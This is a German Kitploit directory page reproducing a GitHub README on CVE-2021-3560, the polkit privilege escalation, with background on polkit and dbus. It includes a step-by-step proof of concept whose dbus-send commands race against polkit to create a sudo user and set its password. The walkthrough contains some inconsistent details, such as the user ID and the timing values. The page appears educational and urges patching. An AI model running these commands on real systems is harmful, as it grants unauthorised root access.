Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3560 — Ausnutzung der CVE-2021-3560 polkit-Sicherheitslücke | Kitploit
Tools/GitHubGitHub/lucaspdiniz/cve-2021-3560
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRed Teaming
GitHublucaspdiniz/cve-2021-3560

CVE-2021-3560

Ausnutzung der CVE-2021-3560 polkit-Sicherheitslücke

Repository anzeigen
211vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Polkit-Sicherheitslücke - CVE-2021-3560 📕

  • Einleitung

Im Jahr 2021 entdeckte ein Forscher namens Kevin BackHouse eine Privilegienausweitungs-Sicherheitslücke im polkit-Dienstprogramm. Allerdings sind nicht alle Linux-Versionen anfällig für polkit.

Unten ist ein Beispiel einer anfälligen Version;

  • Red Hat Enterprise Linux 8
  • Fedora 21 (oder später)
  • Debian Testing ("Bullseye")
  • Ubuntu 20.04 LTS ("Focal Fossa")

Die modernsten Linux-Versionen haben bereits die Korrektur dieser Sicherheitslücke, jedoch haben ältere Versionen, wie oben erwähnt, diese Sicherheitslücke immer noch.

Aber was ist Polkit ❓

Polkit ist ein Systemdienst, der standardmäßig auf vielen Linux-Distributionen installiert ist. Er wird von systemd verwendet, daher verwendet jede Linux-Distribution, die systemd verwendet, auch polkit.

Polkit ist der Systemdienst, der im Hintergrund läuft, wenn Sie ein Dialogfeld sehen, zum Beispiel;

Wenn Sie jemals Berechtigungen ändern oder etwas tun müssen, das höhere Berechtigungen erfordert, wie das Erstellen eines Benutzerkontos, ist Polkit dafür verantwortlich, diese Aktion zu erlauben oder zu verweigern.

Welche Auswirkungen hat diese Sicherheitslücke ❓

Die CVE-2021-3560 ermöglicht es einem unprivilegierten lokalen Angreifer, root-Rechte zu erlangen. Sie ist sehr einfach und schnell auszunutzen, daher ist es wichtig, dass Sie Ihre Linux-Installationen so schnell wie möglich aktualisieren. Jedes System, auf dem polkit Version 0.113 (oder höher) installiert ist, ist anfällig. Dazu gehören beliebte Distributionen wie RHEL 8 und Ubuntu 20.04.

Wie ist Polkit verwundbar ❓

Indem wir manuell dbus-Nachrichten an den dbus-Daemon senden (effektiv eine API, die es verschiedenen Prozessen ermöglicht, miteinander zu kommunizieren) und dann die Anfrage abbrechen, bevor sie vollständig verarbeitet wurde, können wir polkit dazu bringen, den Befehl zu autorisieren.

Was ist der dbus-daemon ❓

Der dbus-daemon ist ein im Hintergrund laufendes Programm, das Nachrichten zwischen Anwendungen vermittelt.

Grundsätzlich erfolgt die Nachstellung dieser Sicherheitslücke durch die folgenden Schritte;

  1. Der Angreifer sendet manuell eine dbus-Nachricht an den accounts-daemon, die die Erstellung eines neuen Kontos mit sudo-Berechtigungen (oder in letzter Zeit, ein Passwort für den neuen Benutzer festzulegen) anfordert. Diese Nachricht erhält eine eindeutige ID vom dbus-daemon.

  2. Der Angreifer bricht die Nachricht ab, nachdem polkit sie erhalten hat, aber bevor polkit die Möglichkeit hat, die Nachricht zu verarbeiten. Dies zerstört effektiv die eindeutige Nachrichten-ID.

  3. Polkit fragt den dbus-daemon nach der Benutzer-ID des Benutzers, der die Nachricht gesendet hat, unter Bezugnahme auf die (jetzt gelöschte) Nachrichten-ID.

  4. Der dbus-daemon kann die Nachrichten-ID nicht finden, weil wir sie in Schritt zwei abgebrochen haben. Er behandelt den Fehler, indem er mit einem Fehlercode antwortet.

  5. Polkit behandelt den Fehler falsch und setzt für die Benutzer-ID 0 ein – d.h. das root-Konto der Maschine.

  6. Da polkit denkt, dass der root-Benutzer die Aktion angefordert hat, lässt polkit die Anfrage ohne weitere Prüfung durchgehen.

Kurz gesagt, indem wir die Nachrichten-ID zerstören, bevor der dbus-daemon polkit die korrekte ID geben kann, nutzen wir die schlechte Fehlerbehandlung in polkit aus, um das Dienstprogramm dazu zu bringen, zu glauben, dass die Anfrage vom allmächtigen root-Benutzer stammt.

Übung - POC

  1. Lassen Sie uns einen neuen Benutzer namens lucas mit sudo-Berechtigungen und einem Passwort von banana hinzufügen.

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

In diesem Fall erhalten wir beim Versuch, den Benutzer lucas zu erstellen, eine Meldung, dass wir keine Berechtigung haben (Authentifizierung ist erforderlich).

Dieser Befehl sendet manuell eine dbus-Nachricht an den accounts-daemon, gibt die Antwort aus und erstellt einen neuen Benutzer namens lucas(string:lucas), mit einer Beschreibung "test vulns" (string:"test vulns") und Mitgliedschaft in der sudo-Gruppe, die auf true gesetzt ist (referenziert durch int32:1).

  1. Da dies effektiv eine Race Condition ist, müssen wir zuerst bestimmen, wie lange unser Befehl zum Ausführen benötigt. Versuchen wir dies mit der ersten dbus-Nachricht:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

In diesem Fall verwenden wir denselben Benutzererstellungsbefehl aus Schritt 1, jedoch verwenden wir die 'time'-Funktion, um die Zeit dieses Befehls zurückzugeben.

Dies dauert 0,011 Sekunden. Diese Zahl wird jedes Mal etwas anders sein, wenn Sie den Befehl ausführen.

  1. Wir müssen den Befehl ungefähr zur Hälfte der Ausführung beenden. Versuchen wir, den Prozess nach 0,005 Sekunden zu unterbrechen, ok? (Dieser Wert ändert sich für jeden Fall).

Versuchen wir dies. Wir müssen die dbus-Nachricht senden und sie dann etwa zur Hälfte beenden:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!

Wir haben die dbus-Nachricht in einem Hintergrundjob gesendet (unter Verwendung des kaufmännischen Und-Zeichens, um den Befehl im Hintergrund auszuführen). Dann haben wir angewiesen, 0,005 Millisekunden zu schlafen und dann den vorherigen Prozess zu beenden ($!). Dadurch wurde der neue Benutzer erfolgreich erstellt und der sudo-Gruppe hinzugefügt. Wir sollten an dieser Stelle notieren, dass die Benutzer-ID des neuen Benutzers in diesem Fall 1000 ist.

  1. Wir brauchen hier einen Passwort-Hash, also generieren wir einen Sha512Crypt-Hash für unser gewähltes Passwort (banana):

Mit openssl generieren wir ein Passwort vom Typ 6 (SHA512-crypt) und unser Klartext-Passwort.

  1. Die 0,135 Millisekunden haben funktioniert, also versuchen wir es noch einmal

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!

In diesem Fall fügen wir ein Passwort (banana) für die ID 1005 hinzu, die in den obigen Schritten erstellt wurde.

Polkit behoben ✔️

Diese Sicherheitslücke wurde öffentlich bekannt gegeben, und der Fix wurde am 3. Juni 2021 veröffentlicht und erhielt die Bezeichnung CVE-2021-3560.

Überprüfen Sie das Update Ihrer Maschine mit yum/apt update/upgrade.

Tool herunterladen